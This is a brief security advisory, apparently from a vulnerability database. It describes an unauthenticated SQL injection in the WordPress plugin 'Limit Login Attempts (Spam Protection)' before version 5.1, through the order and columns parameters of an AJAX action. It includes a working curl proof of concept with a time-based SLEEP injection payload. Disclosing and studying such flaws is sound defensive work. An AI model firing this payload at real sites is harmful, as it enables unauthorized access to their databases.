Limit Login Attempts (Spam Protection) < 5.1 - Unauthenticated SQLi

2022-03-0200:00:00

cydave

133

0.04 Low

EPSS

Percentile

92.2%

JSON

The plugin does not sanitise and escape some parameters before using them in SQL statements via AJAX actions (available to unauthenticated users), leading to SQL Injections

order and columns parameters are affected

curl 'https://example.com/wp-admin/admin-ajax.php' --data 'action=WPLFLA_get_log_data&order[][column]=0&columns[][data]=(SELECT 7382 FROM (SELECT(SLEEP(5)))ameU)'

0.04 Low

EPSS

Percentile

92.2%

JSON

Related for WPEX-ID:69329A8A-2CBE-4F99-A367-B152BD85B3DD